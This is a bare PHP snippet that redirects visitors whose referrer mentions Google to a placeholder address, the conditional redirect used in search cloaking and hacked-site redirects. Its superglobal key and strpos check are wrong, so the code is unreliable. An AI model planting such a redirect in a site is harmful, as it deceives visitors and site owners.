<?php $ref = $_SERVER['referer']; if (strpos($ref,'Google')!=FALSE){ header ("Location: where"); exit(); } ?>